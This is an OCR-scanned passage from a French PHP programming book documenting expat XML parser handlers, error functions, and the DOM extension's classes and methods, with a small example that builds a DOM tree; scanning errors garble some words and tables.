?> 



Applique au fichier mediatheque _01b.xml cela donne le sobre resultat suivant (a vous de 
l'enrichir) : 



Noir Desir : des Visages des Figures 

-L 'enfant roi 6:03 

- Le grand incendie 4:37 

- Le vent nous portera4:48 

Placebo : Without You I'm Nothing 
-PureMoming4:15 

- Without You I'm Nothing4:30 

- Every You, Every Me 5:00 
Radiohead : OK Computer 

- KarmaPolice4:23 
Muse : Showbiz 

- Feeling Good Non communique 



Figure 15.2 : 

Resultat de transformation expat 



REMARQUE 



Reference a une entite interne 

Les references internes sont, quant a elles, automatiquement remplacees par lews 
valeurs (comme le prouve I'exemple precedent). 
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Gestion des instructions de traitement <? ... ?> avec 
xml_set_processing_instruction_handler 

La fonction xml_set_processing_instruction_handier ( ) vous permet de preciser quelle 
fonction doit traiter les instructions de traitement precisees entre <? et ?>. A noter que cela ne 
concerne pas les instructions de traitement XML (<?xml ?>). 
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xml_set_processing_instruction_handler() 



Declare aupres du parseur la fonction a appeler lorsque des instructions de traitement (entre 
<? et ?>) sont rencontrees. 

Syntaxe boolean xml_set_processing_instruction_handler (resource 

$parseur, string $fonctionInstructionTraitement) 

$parseur Reference du parseur telle que retournee par la fonction 

xml parser create ( ) . 

$fonctionInstruction 

Trai tement Nom de la fonction en charge du traitement des instructions de traitement. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction instruction de traitement 

La fonction (dont le nom sera precise par $f onctioninstructionTraitement) devant traiter 
les instructions de traitement aura l'interface suivante : 

Syntaxe [boolean] maFonction(resource Sparseur, string $ c i b 1 e , string 

$code) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$cible Indique a qui est destinee l'instruction (il s'agit de l'identifiant que Ton 

trouve juste apres "<?". Ce peut etre par exemple "php"). 

$code Le code ou tout au moins les instructions. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

ju L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 

■° informations necessaires au bon traitement des donnees. 

e 

o 

'■& 

i s Gestion des declarations de notation <!NOTATION ... > avec 

™ X 

= xml set notation decl handler 



xml_set_notation_decl_handler () 

Declare aupres du parseur la fonction a appeler lorsque des declarations de notation 
(<! notation . . . >) sont rencontrees. 

Syntaxe boolean xml_set_notation_decl_handler(resource $parseur, 

string $fonctionDeclarationNotation) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 
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$fonction 

Decl arati onNotati on Nom de la fonction en charge du traitement des declarations de notation. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction declaration de notation 

La fonction (dont le nom sera precise par $fonctionDeclarationNotation) devant traiter 
les instructions de traitement aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource Sparseur, string $nomNotation, 

string $base, string $idSysteme, string $idPublic) 

Sparseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomNotation Nom de la notation. 

$base Non renseigne. 

$idSysteme L'identifiant systeme de 1'entite (en d'autres termes la valeur du champ 

"SYSTEM" ou celui suivant la valeur du champ "PUBLIC". C'est-a-dire la 
declaration de type ou l'application de traitement pointee). 

$idPublic L'identifiant public de 1'entite (concretement, la valeur du champ 

"PUBLIC". C'est-a-dire la declaration de type ou l'application de 
traitement pointee servant de reference). 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

Gestion des declarations d'entites non analysables <!ENTITY 
...NDATA... > avec xml_set_unparsed_entity_decl_handler 



xml_set_unparsed_entity_decl_handler() 



Declare aupres du parseur la fonction a appeler lorsque des declarations d'entites non 
analysables (<! entity . . . ndata . . .>) sont rencontrees. 

Syntaxe boolean xml_set_unparsed_entity_decl_handler(resource 

Sparseur, string SfonctionDeclarationEntiteNonAnalysable) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

IfonctionDeclaration 

Enti teNonAnal ysabl e Nom de la fonction en charge du traitement des declarations d'entites non 
analysables. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 
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Fonction declaration d'entitenon analysable 

La fonction (dont le nom sera precise par $fonctionDeclarationEntiteNonAnalysable) 

devant traiter les instructions de traitement aura l'interface suivante : 



Syntaxe 

$parseur 

$nomEntite 

$base 

$idSysteme 

$idPublic 

$nomNotation 
retour 



[boolean] maFoncti on (resource $parseur, string $nomEntite, 
string $base, string $idSysteme, string $idPublic, string 
$nomNotation) 

Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

Nom de 1'entite. 

Non renseigne. 

L'identifiant systeme de 1'entite (en d'autres termes la valeur du champ 
"SYSTEM" ou celui suivant la valeur du champ "PUBLIC". C'est-a-dire la 
declaration de type ou 1'application de traitement pointee). 

L'identifiant public de 1'entite (concretement, la valeur du champ 
"PUBLIC". C'est-a-dire la declaration de type ou 1'application de 
traitement pointee servant de reference). 

Nom de la notation. 

TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 
compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 



Gestion par defaut avec xml_set_default_handler 

La fonction xml_set_def ault_handier ( ) vous permet de preciser quelle fonction doit etre 
appelee par defaut (cela concerne aussi bien les evenements pour lesquels il n'existe pas de 
fonction xmi_. . ._handier associee que les evenements ayant leur propre fonction xmi_ 
. . ._handier, mais pour lesquels vous n'avez pas defini de fonction de traitement). 
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xml_set_default_handler () 



Declare aupres du parseur la fonction a appeler pour le traitement par defaut 
Syntaxe 



boolean xml_set_defaul t_handler (resource $parseur, string 
$foncti onParDef aut) 

Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 



$parseur 

$foncti onParDef aut Nom de la fonction en charge du traitement par defaut 



Fonction par defaut 

La fonction (dont le nom sera precise par $f onctionParDef aut) devant traiter les instructions 
de traitement aura l'interface suivante : 
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Syntaxe void maFoncti on (resource $parseur, string $chaine) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ chaine Chaine de caracteres contenant la chaine non reconnue comme 

evenement predefini. 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des informations. 



Gestion des erreurs 

Jusque-la, afin de garder une certaine continuite dans le raisonnement, nous avons passe sous 
silence les fonctions de gestion des erreurs. Pourtant, elles sont souvent indispensables pour 
determiner les causes des problemes d'analyse des documents. 

A tout moment, il est possible de recuperer le dernier code d'erreur rencontre par un parseur 
lors de l'analyse. Pour cela, il y a la fonction xml_get_error_code ( ) . 



xml_get_error_code () 



Retourne le dernier code d'erreur rencontre par le parseur. 

Syntaxe int xml_get_error_code(resource $parseur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour Code d'erreur pouvant prendre les valeurs : 

XML_ERROR_NONE : pas d'erreur. 
XML_ERROR_NO_MEMORY : plus de memoire disponible. 
XML_ERROR_SYNTAX : erreurde syntaxe. 
XML_ERROR_NO_ELEMENTS : aucune balise n'a ete rencontree. 
XML_ERROR_lNVALlD_TOKEN : document non "bien forme". 

XML_ERROR_UNCLOSED_TOKEN. 
XML_ERROR_PARTIAL_CHAR. 

XML_ERROR_TAG_MlSMATCH : presence de balises non fermees ou se 
chevauchant (ex. : <axbx/ax/b>). 

XML_ERR0R_DUPLICATE_ATTRIBUTE : presence multiple du meme 
attribut dans une meme balise. 

XML_ERROR_JUNK_AFTER_DOC_ELEMENT : presence de balises apres 
la balise racine fermante. 

XML_ERROR_PARAM_ENT I TY_REF . 

XML_ERR0R_UNDEFINED_ENTITY : entite non definie. 
XML_ERR0R_RECURSIVE_ENTITY_REF : reference d'entite recursive. 

XML_ERROR_ASYNC_ENTITY. 
XML_ERROR_BAD_CHAR_REF. 

XML_ERR0R_BINARY_ENTITY_REF : reference a une entite binaire 
(entite non analysable non texte). 
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XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF. 
XML_ERROR_MI S PLACED_XML_P I . 

XML_ERROR_UNKNOWN_ENCODlNG : encodage inconnu. 
XML_ERROR_lNCORRECT_ENCODlNG : encodage ne correspondant pas 
aii document. 

XML_ERROR_UNCLOSED_CDATA_SECTION. 

XML_ERROR_EXTERNAL_ENTlTY_HANDLlNG : la fonction de gestion 
des entites externes n'a pas retourne TRUE (laissant supposer qu'une 
erreur est intervenue), ou NULL si le parseur n'existe pas. 

II est egalement possible d'avoir 1'information sous forme de texte (en anglais) via 

xml_error_string ( ) . 



xml_error_string () 

Retourne le message d'erreur (en anglais) correspondant au code d'erreur fourni. 

Syntaxe string xml_error_string(int $codeErreur) 

$codeErreur Code d'erreur tel que retourne par xml_error_code ( ) . 

retour Le message d'erreur, ou NULL si le code d'erreur n'existe pas. 

Pour aider a 1'analyse du probleme, il est souvent egalement necessaire de connaitre la position 
estimee de l'erreur. Heureusement, il est a tout moment (done pas uniquement en cas d'erreur) 
possible de connaitre la position du parseur. Pour cela, vous disposez de 

xml_get_current_line_number ( ) et xml_get_current_column_number ( ) . 
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xml_get_current_line_number () 



Retourne le numero de la ligne en cours d'analyse par le parseur. 

Syntaxe int xml_get_current_l ine_number (resource $parseur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour Numero de ligne, ou NULL si le parseur n'existe pas. 



xml_get_current_column_number () 



Retourne le numero de la colonne en cours d'analyse par le parseur. 

Syntaxe int xml_get_current_column_number (resource $parseur) 
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Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

Numero de colonne, ou NULL si le parseur n'existe pas. 



Et, pour ceux que cela interesse, il est egalement possible d'avoir la position en octets depuis le 

debut du document avec xml_get_current_byte_index ( ) . 



Le parseur DOM 



Si libXML est installe, alors le parseur DOM est probablement active. Vous pouvez le verifier 
en jetant un oeil aux informations affichees par phpinf o ( ) . 

Figure 15.3 : 

phpinfoQ DOM 



clom 


DOM.XML 


enabled 


DOM XML API Version 


20031129 


IJbxrnl Version 


2.5.11 


HTML Support 


enabled 


XPirth Support 


enabled 


XPointer Support 


enabled 


Schema Support 


enabled 


RelaxIMG Support 


enabled 



Parfois, il est preferable d'acceder aux parties d'un fichier XML dans un ordre different de celui 
impose par SAX. L'avantage de 1'analyse par DOM est que Ton peut acceder a tout element de 
l'arbre tres facilement et meme faire des retours en arriere. L'inconvenient (et c'est 
probablement pourquoi SAX et DOM coexistent) c'est que l'arbre entier est mis en memoire, 
ainsi pour un gros fichier XML, DOM n'est pas adapte. 

La bibliotheque DOM etant imposante, nous nous limiterons exceptionnellement aux 
fonctionnalites les plus utilisees. 



Constantes 

Voici l'ensemble des constantes definies: 
Tableau 15.1: Constantes XML 



Norn de variable 

XML_ELEMENT_NODE 

XML_ATTRI BUTE_NODE 

XML_TEXT_NODE 

XML CDATA SECTION NODE 



Definition 

Noeud de type Element. 

Nceud de type Attribut. 

Nceud de type Text. 

Noeud de type section CData (non traitee) 
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XML_ENT ITY_REF_NODE 


XML_ENT ITY_NODE 


Nceud de type Entite (comme é ...) 


XML_PI_NODE 


XML_COMMENT_NODE 


Nceud de type Commentaire 
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Norn de variable 



Definition 



XML DOCUMENT NODE 



XML_HTML_DOCUMENT_NODE 
XML_DTD_NODE 
XML_ELEMENT_DECL_NODE 
XML_ATTRIBUTE_DECL_NODE 
XML ENTITY DECL NODE 



XML_ATTRIBUTE_IDREFS 
XML_ATTR I BUTE_ENT I TY 
XML_ATTRIBUTE_NMTOKEN 
XML_ATTRIBUTE_NMTOKENS 
XML ATTRIBUTE ENUMERATION 



Noeud de type Document 



XML_ 


_DOCUMENT_ 


.TYPE. 


.NODE 


XML_ 


.DOCUMENT. 


.FRAG. 


.NODE 


XML_ 


.NOTATION. 


.NODE 





Nceud d'un document HTML 
Noeud d'une DTD 



XML. 


.NAMESPACE. 


_DECL_NODE 


XML. 


.ATTRIBUTE. 


.CDATA 


XML. 


.ATTRIBUTE. 


.ID 


XML. 


.ATTRIBUTE. 


.IDREF 



XML ATTRIBUTE NOTATION 
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Tableau 15.2 : Constantes DOM 



Nom de variable 

DOM_INDEX_SIZE_ERR 

DOMSTRING_SIZE_ERR 

DOM_H I ERARCHY_REQUE ST_ERR 



DOM WRONG DOCUMENT ERR 



DOM INVALID CHARACTER ERR 



Definition 

L'index ou la taille est negative ou plus grande 
que la valeur acceptee. 



Un nceud est insere un endroit ou 
pas. 



ne devrait 



Un nceud est utilise dans un autre document que 
celui ou il a ete cree. 



Un caractere invalide a ete insere. 



DOM NO DATA ALLOWED ERR 



DOM_NO_MODIFICATION_ALLOWED_ERR 



Des donnees sont specifies pour un nceud qui 
n'en accepte pas. 

II y a eu tentative de modification a un endroit 
interdit. 
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Norn de variable 



Definition 



DOM_NOT_FOUND_ERR 

DOM_NOT_SUPPORTED_ERR 
DOM_INUSE_ATTRIBUTE_ERR 



II y a eu tentative de referencer un noeud dans un 
contexte ou il n'existe pas. 

Le type d'objet demande n'est pas supporte. 

II y a eu tentative d'ajouter un attribut qui est deja 
utilise a un autre endroit. 



DOM_INVAL I D_STATE_ERR 

DOM_SYNTAX_ERR 

DOM_INVALID_MODIFICATION_ERR 

DOM_NAME SPACE_ERR 

DOM INVALID ACCESS ERR 



DOM VALIDATION ERR 



Les differentes classes principales 

Voici quelques unes des classes les plus utilisees avec leurs attributs et leurs fonctions 
brievement presentees. Les fonctions les plus importantes sont par ailleurs decrites en details a 
la suite de ces tableaux succincts. 



Tableau 15.3 : Classe DOMDocument 






Attribut 


Type 


Definition 


doctype 


String 




implementation 


DOMImplemenation 




document Element 


DOMEIement 


Element racine de I'arbre. 


actual Encoding 


String 


Encodage utilise. 


encoding 


String 





standalone 


Boolean 


version 


String 


strictErrorChecking 


Boolean 


documentURI 


String 


conf ig 


String 


forma tOutput 


String 



Version XML utilisee. 
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validateOnParse 


Boolean 


resolveExternals 


Boolean 


preserveWhiteSpace 


Boolean 


subs ti tut eEnti ties 


Boolean 
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Attribut 
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Type 



Definition 



createAttribute (String $nom) DOMAttr 



Cree un nouvel attribut. 



createAttributeNS (String 
$espaceNom, String $nom) 

createCDATASection ( String 
$donnees ) 



DOMAttr 



DOMCDATASection 



Cree un nouvel attribut 
avec espace de nom. 

Cree une nouvelle section 
CDATA. 



createComment (String 
$commentaire) 



DOMComment 



Cree un nouveau 
commentaire. 



createDocumentFragment ( ) 

createElement (String $nom 
[, String $valeur] ) 



DOMEIement 



Cree un nouveau 
fragment. 

Cree un nouvel element. 



createElementNS (String 
$espaceNom, String $nom) 



DOMEIement 



Cree un nouvel element 
avec espace de noms. 



createEntityRef erence ( String 
$nom) 

createProcessinglnst ruction 
(String $cible [, String 
$donnees] ) 



DOMEntityReference Cree une nouvelle entite. 

DOMProcessinglnstruction Cree un nceud de type PI. 



createTextNode ( String DOMText 
$texte) 

getElementById( String DOMEIement 
$idElement) 



getElementByTagName (String DOMNodeList 
$nom) 



getElementByTagNameNS (String DOMNodeList 
$espaceNom, String $nom) 

importNode(DOMNode DOMNode 

$noeudImporte [ , boolean 
$copieProf onde] ) 



load (String $nomFichier) 



loadHTML( String $HTML) 



DOMDocument 



DOMDocument 



Cree un nceud de type 
texte. 

Fait une recherche sur 
I'identifiant de I'element. 
Selon le standard DOM 
cette fonction requiere 
qu'un attribut ID de type ID 
soit defini dans la DTD. 

Retourne les nceuds ayant 
$nom comme nom. 



Idem mais avec espace de 
noms. 

Importe un nceud dans le 
document courrant 



Charge et cree I'arbre 
DOM a partir du nom de 
fichier d'un document 
XML. 

Charge et cree I'arbre 
DOM a partir de la chaine 
de caracteres $HTML. 
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Attribut 



Type 



Definition 



loadHTMLFile (String 
$NomFichierHTML) 



loadXML (String $XML) 



DOMDocument 



DOMDocument 



normalize ( ] 



void 



relaxNGValidate (String 
$nomFichier) 



boolean 



relaxNGValidateSource (String boolean 
$relaxNG) 



save (String $nomFichier) 



saveHTML ( ; 



integer 



String 



saveHTMLFile (String 
$nomFichier) 



saveXML( [DOMNode $noeud] 



String 



String 



schemaValidate (String 
$nomFichier Schema) 



boolean 



schema ValidateSource (String boolean 
$ schema) 



validate ( ' 



boolean 



xinclude ( ] 



int 



Charge et cree I'arbre 
DOM a partir du nom de 
fichier d'un document 
HTML. 

Charge et cree I'arbre 
DOM a partir de la chaine 
de caracteres $XML. 



Normalise le document. 



Verifie la validite d'un 
document selon le fichier 
relaxNG passe en 
parametre. 

Verifie la validite d'un 
document selon relaxNG 
passe en parametre. 



Cree et stocke dans un 
fichier le code XML 
correspondant au 
document DOM. 

Cree le HTML 
correspondant au 
document DOM. 



Cree et stocke dans un 
fichier le code HTML 
correspondant au 
document DOM. 

Cree le XML 
correspondant au 
document DOM. 



Verifie la validite d'un 
document selon le fichier 
Schema passe en 
parametre. 

Verifie la validite d'un 
document selon un 
Schema passe en 
parametre. 

Verifie si un le document 
est valide selon sa DTD. 



Remplace les xinclude 
dans un document DOM. 
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Tableau 15.4: Classe DOMNode 
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Attribut 

nodeName 
nodeValue 
nodeType 
parentNode 



Type 


Definition 


String 


Nom du noeud. 


String 


Valeur du noeud (contenu) 


Integer 


Code type du Noeud. 


DOMEIement 


Noeud parent. 



childNodes 




DOMNodeList 


Noeuds enfants. 


firstChild 




DOMNode 


Premier enfant. 


lastChild 




DOMNode 


Dernier enfant. 


previousSibl 


ing 


DOMNode 


Noeud precedant de meme 
hierarchie. 



nextSibling 

attributes 
ownerDocument 

namespaceURI 



DOMNode 

DOMNamedNodeMap 
DOMDocument 

String 



prefix 



String 



localName 

baseURI 

textContent 

appendChild (DOMNode 
$noeud) 



String 

String 
String 
DOMNode 



cloneNode( [boolean 
$enProf ondeur] ) 



DOMNode 



Enfant suivant de meme 
hierarchie. 

Attributs du noeud. 

Document auquel appartient 
le noeud. 

Espace de noms (nom 
complet). 



Espace de noms (nom 
reduit prefix du noeud) si 
utilise. 



Nom du noeud sans le prefix 
d'espace de nom si le prefix 
est utilise. 



Contenu du noeud. 

Ajoute un fils a la suite des 
autres fils du meme 
element. 



Fait une copie du noeud 
courant. 



hasAttributes ( ) 


boolean 


Verifie si le noeud a des 
attributs. 


hasChildNodes () 


DOMNode 


Verifie si le noeud a des 
enfants. 


insertBef ore (DOMNode 
$noeudAInserer [ , DOMNode 
$noeudRef erence] ) 


DOMNode 


Insert le noeud 
$noeudAlnserer juste avant 
$noeudReference. 


isSameNode ( $ DOMNode 
$noeudAComparer ) 


boolean 


Renvoi TRUE si les deux 
nceuds sont les memes. 
(pas au niveau du contenu) 
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Attribut 



Type 



Definition 



isSupported (string boolean 
$option, String $version) 



Renvoi TRUE si I'option est 
disponible dans la version 
precisee. 



lookupNamespaceURI (String String 
$pref ix) 



lookupPref ix (String 
$espaceNoms) 

normalize ( ) 

removeChild (DOMNode 
$fils) 



String 

void 
DOMNode 



Retourne I'uri du prefix 
passe en parametre. 

Retourne le prefix de I'uri 
passe en parametre. 

Normalise le nceud. 

Retire le fils passe en 
parametre du nceud courant. 



replaceChi Id (DOMNode 
$ancienNoeud, DOMNode 
$nouveauNoeud) 



DOMNode 



Remplace I'ancien nceud par 
le nouveau nceud. 



Tableau 15.5 : Classe DOMEIement heritante de DOMNode 



Attribut 


Type 


Definition 






tagName 


String 


Norn de la balise 




s chemaType Inf o 


String 






getAttribute (String $nom) 


String 


Retourne la valeur d'un 
attribut. 




getAttributeNode (String 
$nom) 


DOMAttr 


Retourne le nceud d'un 
attribut. 




getAttributeNodeNS (String 


DOMAttr 


Retourne le nceud d'un 
attribut dans un espace de 
noms. 




$espaceNoms, String $nom) 


X 

i— 


^ 


getAttributeNS (String 
$espaceNoms, String $nom) 


String 


Retourne la valeur d'un 
attribut en specifiant 
I'espace de noms. 


V) 


getElementByTagName ( String 
$nom) 


DOMNodeList 


Retourne les elements de 
nom $nom. 


o' 


getElementByTagNameNS (String 
$espaceNom, String $nom) 


DOMNodeList 


Idem mais avec espace de 
noms. 


CD 


hasAttribute (String $nom) 


boolean 


Retourne TRUE si I'attribut 
de nom $nom existe. 







hasAttributeNS (String 
$espaceNoms, String $nom) 



boolean 



removeAttribute (String $nom) boolean 



Retourne TRUE si I'attribut 
de nom $nom existe dans 
I'espace de nom specifie. 

Retire I'attribut de nom 
$nom. 
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Attribut 



Type 



Definition 



removeAttributeNode (DOMNode boolean 
$nom) 

removeAttributeNS (String boolean 
$espaceNoms, String $nom) 

setAttribute (String $nom, boolean 
String $valeur) 



Retire I'attribut de nom 
$nom. 

Retire I'attribut de nom 
$nom dans I'espace de 
noms. 

Cree ou met a jour 
I'attribut $nom avec la 
valeur Svaleur. 



setAttributeNode(DOMAttr boolean 

$attribut) 

setAttributeNodeNS (DOMAttr boolean 

$attribut) 



Ajoute I'attribut $attribut. 



Ajoute I'attribut $attribut. 



setAttributeNS (String 
$espaceNoms, String $nom, 
String $valeur) 



void 



Cree ou met a jour 
I'attribut $nom avec la 
valeur $valeur dans 
I'espace de noms specifie. 



Tableau 15.6: Classe DOMAttr 
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Attribut 


Type 


Definition 


name 


String 


Nom de I'attribut. 


specified 


Boolean 




value 


String 


Valeur de I'attribut. 


owner Element 


DOMEIement 


Element auquel est rattache I'attribut. 



schemaTypelnf o 



String 



isid() boolean Renvoi TRUE si I'attribut est un identifiant selon les 

specifications DOM. (Defini en tant que tel dans la 
DTD) 



Tableau 15.7 : Classe DOMText heritante de DOMNode 



Attribut Type 

wholeText String 

isWhitespacelnElement boolean 
Content ( ) 



Definition 



Renvoi TRUE si les espaces font parti du 
contenu. 
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Attribut 



Type 



Definition 



splitText (integer 
$ index) 



DOMText 



"Casse" le noeud en deux a I'indice 
specifie le noeud sur lequel est appele 
cette fonction contient alors la premiere 
partie tandis que la seconde partie est 
retournee. 



Creer ou modifier un arbre DOM 

Pour creer un arbre il faut d'abord creer un objet de type DOMDocument. (par exemple: 

$document = new DOMDocument ( ) ) 



DOMDocumentQ 



Constructeur d'objet de type DOMDocument. 

Syntaxe DOMDocument DOMDocument ([String $versionXML] ) 

$ vers i onXML Version XML du document, 

retour Objet de type DOMDocument. 

A partir d'un document existant, il va falloir le charger en memoire, pour cela on utilise 

DOMDocument->load ( ) . 



DOMDocument->load () 



Permet de charger un fichier XML en memoire. Cette fonction peut aussi s'appeler 
statiquement. 

Syntaxe DOMDocument load (String $nomFichier) 

$nomFichier Nom du fichier a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Pour charger une chaine de caractere XML, autrement que dans un fichier, il faut faire appel 

a DOMDocument->loadxml ( ) . 
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DOMDocument->loadXml () 



Permet de charger une chaine de caracteres XML en memoire. Cette fonction peut aussi 
s'appeler statiquement. 

Syntaxe DOMDocument loadXml (String $chaineXML) 

$chai neXML Chaine de caracteres a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Un fichier HTML est tres souvent mal forme, par exemple on y trouve des balises <br> (si ce 
n'est pas de l'XHTML) pour charger du HTML on utilise done 

DOMDocument->loadhtmlf ile ( ) et DOMDocument->loadhtml ( ) . 



DOMDocument->loadHTMLFile () 



Permet de charger un fichier HTML en memoire. Cette fonction peut aussi s'appeler 
statiquement. 

Syntaxe DOMDocument loadHTMLFile(String $nomFichierHTML) 

$nomFi chi erHTML Nom du fichier HTML a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 
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DOMDocument->loadHTML () 



Permet de charger une chaine de caracteres HTML en memoire. Cette fonction peut aussi 
s'appeler statiquement. 

Syntaxe DOMDocument loadHTML(String $chaineHTML) 

$chai neHTML Chaine de caracteres HTML a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Les quatre fonctions suivantes permettent la creation du XML (ou HTML) a partir de 
l'arbre DOM: 
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DOMDocument->save () 



Permet de sauvegarder l'arbre DOM dans un fichier. 

Syntaxe int save (String $nomFichier) 

$nomFi chi er Nom du fichier ou enregistrer l'arbre DOM. 

retour La taille en octets du fichier. 



DOMDocument->saveXML () 



Permet de creer la chaine XML correspondante a l'arbre DOM en memoire. 

Syntaxe String saveXML([DOMNode $noeud]) 

$noeud Noeud parent du XML a extraire si Ton ne veut pas l'arbre entier. 

retour Chaine de caracteres XML. 



DOMDocument->saveHTMLFile () 



Permet de sauvegarder l'arbre DOM dans un fichier. 

Syntaxe String saveHTMLFile (String $nomFichier) 

$nomFi chi er Nom du fichier ou enregistrer l'arbre DOM. 

retour Chaine de caracteres HTML. 



DOMDocument->saveHTML () 

Permet de creer la chaine HTML correspondante a l'arbre DOM en memoire. 

Syntaxe String saveHTML() 

retour Chaine de caracteres HTML. 

A partir d'un tel document, il est possible de creer des instances d'objets constituant l'arbre. En 
voici les principales fonctions: 
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DOMDocument->createAttribute () 



Permet de creer un attribut. II faudra attacher cet attribut a un nceud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMAttr createAttribute(String $nomAttribut) 

$nomAttribut Nom de l'attribut. 

retour Un nouveau objet de type DOMAttr. FALSE en cas d'erreur 



DOMDocument->createAttributeNS() 



Permet de creer un attribut avec espace de noms. II faudra attacher cet attribut a un nceud en 
utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMAttr createAttributeNS (String $espaceNoms, String 

$nomAttribut) 

$espaceNoms Espace de noms 

$nomAttribut Nom de l'attribut. 

retour Un nouveau objet de type DOMAttr. FALSE en cas d'erreur 



DOMDocument->createCDATASection () 
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Permet de creer une section CD ATA, ce type de section peut servir pour inclure des donnees 
XML encodees (Base64 est souvent utilise) ou simplement du texte qui pourrait nuire au 
fichier XML (car contenant des balises par exemple). II faudra attacher cet attribut a un nceud 
en utilisant DOMNode->appendchild( ) . 

Syntaxe DOMCDataSection createCDATASecti on (String $donnees) 

$donnees Donnees a mettre dans la section. 

retour Un nouveau objet de type DOMCDataSection. FALSE en cas d'erreur 



DOMDocument->createComment () 



Permet de creer une balise de commentaires (entre <!-- et ->. II faudra attacher cet attribut a un 

nceud en utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMComment createComment (String $commentaires) 
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$commentai res Commentaires a ajouter. 

retour Un nouveau objet de type DOMComment. FALSE en cas d'erreur 



DOMDocument->createElement() 



Permet de creer un nouvel element. II faudra attacher cet attribut a un noeud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMElement createElement (String $nomElement [, String 

$valeur]) 

$nomElement Nom de la balise. 

$ v a 1 e u r Valeur de la balise 

retour Un nouveau objet de type DOMElement. FALSE en cas d'erreur 



DOMDocument->createElementNS () 



Permet de creer un nouvel element avec espace de noms. II faudra attacher cet attribut a un 
nosud en utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMElement createElementNS (String $espaceNoms, String 

$nomElement) 

$espaceNoms Espace de noms 

$nomElement Nom de la balise. 

retour Un nouveau objet de type DOMElement. FALSE en cas d'erreur 



DOMDocument->createTextNode () 



Permet de creer un nouvel noeud texte. II faudra attacher cet attribut a un noeud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMText createTextNode (String $texte) 

$texte Texte du noeud. 

retour Un nouveau objet de type DOMText. FALSE en cas d'erreur 

Voici un exemple d'arbre DOM construit puis affiche: 
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Listing 15.9 : domexempleOLphp 

<?php 

$doc = new DOMDocument() ; 

$html = $doc->createElement("HTML"); 

$html = $doc->appendChild($html) ; 

$head = $doc->createElement("HEAD") ; 

$head = $html->appendChild($head) ; 

$ti tie = $doc->createElement("TITLE"); 

$ti tie = $head->appendChild($title); 

$titre = $doc->createTextNode("Titre du document HTML"); 

$titre = $title->appendChild($titre) ; 

$body = $doc->createElement("BODY"); 

$body = $doc->appendChild($body) ; 

$comment = $doc->createComment("Comme en terre"); 

$comment = $body->appendChild($comment) ; 

echo $doc->saveHTML() ; 
?> 

Dont le resultat est: 

<HTMLxHEADxTITLE>Titre du document HTML</TITLEx/HEADx/HTML> 
<BODYx!--Comme en terre--x/BODY> 

Le script est extremement simple a comprendre meme si nous n'avons pas encore vu la fonction 
appendchiid( ) qui ne fait qu'ajouter un noeud a un autre, ce nceud devenant done le fils du 
second. Les noeuds du document HTML sont crees un a un comme tout document HTML. La 
premiere balise est done <html> a laquelle on ajoute les balises <head> puis <body>, a la balise 
<head> on ajoute la balise <title> et a cette derniere on ajoute un noeud de type texte pour 
definir son contenu. Enfin on ajoute un commentaire a la balise <body>. 

/£\ Rien afermer 

"**^ Pour les personnes qui ne sont pas habitudes a manipuler des arbres DOM, vous 

remarquerez qu'il n'y a pas a "fermer" quoi que ce soit comme e'est le cas pour les 
balises. Ici, tout fonctionne selon leprincipe d'imbrication d'elements. 

Nous venons de voir les principales fonctions relatives a l'objet DOMDocument, voici celles de 
DOMNode en debutant par celle certainement la plus usitee: DOMNode->appendchild( ) . 



DOMNode->appendChild () 



Ajoute un noeud enfant a un noeud existant. 

Syntaxe DOMNode appendChi Id (DOMNode $noeudEnfant) 

$noeudEnfant Noeud a ajouter au parent, 

retour L'objet parent modifie. 
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Pour, au contraire, retirer un nceud, on utilise DOMNode->removeChild ( ) et pour remplacer 
par un autre: DOMNode->replaceChild ( ) . 



DOMNode->removeChild () 



Retire un noeud de son parent. 

Syntaxe DOMNode removeChild(DOMNode $noeudEnfant) 

$noeudEnf ant Noeud a retirer du parent. 

retour L'ancien fils ou une erreur de type DOMException. 



DOMNode->replaceChild() 

Remplace un noeud fils par un autre. 

Syntaxe DOMNode replaceChi Id (DOMNode $ancienNoeud, DOMNode 

$nouveauNoeud) 

$ancienNoeud Noeud a remplacer. 

$nouveauNoeud Noeud remplagant. 

retour L'ancien fils ou une erreur de type DOMException. 

Cela peut servir de dupliquer un noeud pour cela il suffit d'utiliser DOMNode->cloneNode ( ) . 



DOMNode->cloneNode () 

Ajoute un noeud enfant a un noeud existant. 

